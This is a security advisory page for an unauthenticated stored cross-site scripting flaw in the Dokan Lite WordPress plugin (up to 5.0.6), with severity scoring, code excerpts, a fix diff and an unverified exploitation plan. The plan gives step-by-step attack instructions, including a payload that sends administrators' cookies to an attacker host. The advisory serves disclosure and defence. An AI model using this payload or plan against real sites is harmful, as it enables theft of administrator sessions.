CVE-2026-57706

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.6 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.0.7
Patched in
5d
Time to patch

Description

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 5.0.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.6
PublishedJuly 10, 2026
Last updatedJuly 14, 2026
Affected plugindokan-lite

What Changed in the Fix

Changes introduced in v5.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-57706**, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (<= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0. ### 1. Vulnerability Summary The Dokan p…

Show full research plan

This exploitation research plan targets CVE-2026-57706, an unauthenticated stored cross-site scripting (XSS) vulnerability in the Dokan Lite plugin (<= 5.0.6). The vulnerability stems from the plugin's AI integration features introduced in version 5.0.0.

1. Vulnerability Summary

The Dokan plugin registers a high-priority filter on the WordPress REST API dispatch process. This filter, resolve_product_payload_before_validation, intercepts incoming requests to the dokan/v3/products namespace. When a request contains AI-related parameters (intended for generating product content), the plugin processes and logs these prompts to the database. Because this logic executes during the rest_pre_dispatch phase—before the REST API performs its permission checks—unauthenticated users can trigger the logging mechanism. The plugin fails to sanitize the prompt input before storage and fails to escape it when displaying the logs in the Dokan Admin Dashboard.

2. Attack Vector Analysis

  • Endpoint: /wp-json/dokan/v3/products
  • Method: POST
  • Vulnerable Parameter: intelligence[prompt] (sent within the JSON body).
  • Authentication: Unauthenticated. Although the final REST endpoint requires dokan_add_product capabilities, the vulnerable code resides in a rest_pre_dispatch filter that executes before authorization.
  • Preconditions: The AI feature must be active (usually default in 5.0.x), and the site must have REST API enabled (default).

3. Code Flow

  1. Entry Point: An HTTP POST request is sent to wp-json/dokan/v3/products.
  2. Hook Trigger: WordPress triggers the rest_pre_dispatch filter.
  3. Vulnerable Filter: WeDevs\Dokan\REST\ProductControllerV3::resolve_product_payload_before_validation is called (registered in register_routes via add_filter( 'rest_pre_dispatch', ..., 1, 3 )).
  4. Payload Resolution: The filter calls WeDevs\Dokan\ProductEditor\PayloadResolver::resolve().
  5. Sink (Storage): If the intelligence parameter is present, PayloadResolver (or the underlying Intelligence\Manager) logs the prompt value into the database (likely a table like wp_dokan_ai_logs) without sanitization.
  6. Sink (Execution): An administrator navigates to the Dokan Dashboard (Admin). The assets/js/vue-admin.js component fetches the logs and renders the prompt field directly into the DOM without escaping, triggering the XSS.

4. Nonce Acquisition Strategy

While the request is "unauthenticated" relative to Dokan's permissions, the WordPress REST API typically requires a valid wp_rest nonce for POST requests to prevent CSRF.

  1. Identify Trigger: The AI scripts are loaded in the Vendor Dashboard.
  2. Setup Page: Create a page with the Dokan Dashboard shortcode to ensure all variables are localized.
    wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]'
    
  3. Extract Nonce: Navigate to the newly created page and extract the REST nonce.
    • Variable: window.wpApiSettings.nonce (standard) or window.dokan.rest.nonce (plugin specific).
    • Action: browser_eval("window.wpApiSettings?.nonce || window.dokan?.rest?.nonce")

5. Exploitation Strategy

Step 1: Obtain Nonce
Use the http_request or browser_navigate tool to visit the homepage or the dashboard page and extract the nonce from the source or via browser_eval.

Step 2: Send Malicious Request
Construct a POST request to the V3 Products endpoint. Note that we do not need a valid product payload; we only need the intelligence object to trigger the early filter.

  • URL: http://localhost:8080/wp-json/dokan/v3/products
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Payload:
    {
      "name": "Exploit Trigger",
      "intelligence": {
        "action": "generate_description",
        "prompt": "<img src=x onerror='fetch(\"http://attacker.com/log?c=\" + btoa(document.cookie))'>"
      }
    }
    

Step 3: Trigger Execution
The exploit remains dormant until an administrator views the AI Assistant logs.

  • Admin Path: wp-admin/admin.php?page=dokan#/ai-assistant/logs

6. Test Data Setup

  1. Dokan Settings: Ensure AI features are enabled (if they require explicit activation in the version's settings).
  2. Page Creation:
    wp post create --post_type=page --post_status=publish --post_content='[dokan-dashboard]'
    
  3. Permalinks: Ensure pretty permalinks are enabled for the REST API.
    wp rewrite structure '/%postname%/' --hard
    wp rewrite flush --hard
    

7. Expected Results

  • The REST API will likely return a 403 Forbidden (because the user is unauthenticated for the actual create_item callback).
  • Despite the 403, the rest_pre_dispatch filter will have already executed.
  • The database will contain a new entry in the AI logs table with the raw <img ...> tag.
  • When the admin page loads the logs, a browser alert or network request to the attacker's server will occur.

8. Verification Steps

After sending the HTTP request, verify the injection directly in the database:

  1. Find the Log Table:
    wp db query "SHOW TABLES LIKE '%dokan_ai%'"
    
  2. Check for Payload:
    # Assuming the table is wp_dokan_ai_logs
    wp db query "SELECT prompt FROM wp_dokan_ai_logs ORDER BY id DESC LIMIT 1"
    
    Confirm the output matches the injected string verbatim.

9. Alternative Approaches

  • Batch Endpoint: If the single product endpoint is blocked, attempt the same payload via the batch endpoint: /wp-json/dokan/v3/products/batch.
  • Vendor Registration: If the AI path fails, check the dokan-lite registration form parameters (shopname, address) which are also often processed by early filters in the V3 architecture.
  • Direct AI Chat: If dokan/v1/intelligence/chat exists (inferred), send the payload there as it is specifically designed for unauthenticated user interaction with the assistant.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Dokan Lite plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) in versions up to 5.0.6. This occurs because AI-related product metadata is processed and logged during an early REST API dispatch hook before authentication or permission checks are performed, and then rendered without escaping in the admin dashboard.

Vulnerable Code

// includes/REST/ProductControllerV3.php line 196
    public function register_routes() {
        if ( ! self::$filter_registered ) {
            add_filter( 'rest_pre_dispatch', [ $this, 'resolve_product_payload_before_validation' ], 1, 3 );
            self::$filter_registered = true;
        }

---

// includes/REST/ProductControllerV3.php line 133
    public function batch_items( $request ) {
        $body = $request->get_json_params();

        if ( empty( $body ) ) {
            $body = $request->get_body_params();
        }

        foreach ( [ 'update', 'create' ] as $key ) {
            if ( ! empty( $body[ $key ] ) && is_array( $body[ $key ] ) ) {
                foreach ( $body[ $key ] as $index => $item ) {
                    $body[ $key ][ $index ] = PayloadResolver::resolve( $item );
                }
            }
        }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.6/assets/js/vue-admin.asset.php /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.7/assets/js/vue-admin.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.6/assets/js/vue-admin.asset.php	2026-05-05 11:57:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.7/assets/js/vue-admin.asset.php	2026-06-29 12:10:36.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'dda1361546e49be9505e');
+<?php return array('dependencies' => array('jquery', 'moment', 'wp-api-fetch', 'wp-url'), 'version' => 'b0bc72b15604c2799576');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.6/assets/js/vue-admin.js /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.7/assets/js/vue-admin.js
--- /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.6/assets/js/vue-admin.js	2026-05-05 11:57:08.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/dokan-lite/5.0.7/assets/js/vue-admin.js	2026-06-29 12:10:36.000000000 +0000
@@ -1,2 +1,2 @@
 /*! For license information please see vue-admin.js.LICENSE.txt */
-(()=> ... (truncated)

Exploit Outline

The exploit targets the REST API endpoint '/wp-json/dokan/v3/products'. An attacker first obtains a standard WordPress REST nonce (available via any page that localizes 'wpApiSettings'). The attacker then sends a POST request to the products endpoint with a JSON body containing an 'intelligence' object. Within this object, the 'prompt' field is populated with a malicious script (e.g., '<script>alert(1)</script>'). Due to a 'rest_pre_dispatch' filter registered by the plugin, the AI prompt is processed and stored in the database immediately, before the REST API checks if the user has the 'dokan_add_product' capability. The vulnerability is triggered when an administrator views the 'AI Assistant' logs in the Dokan Admin Dashboard, where the unsanitized prompt is rendered.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.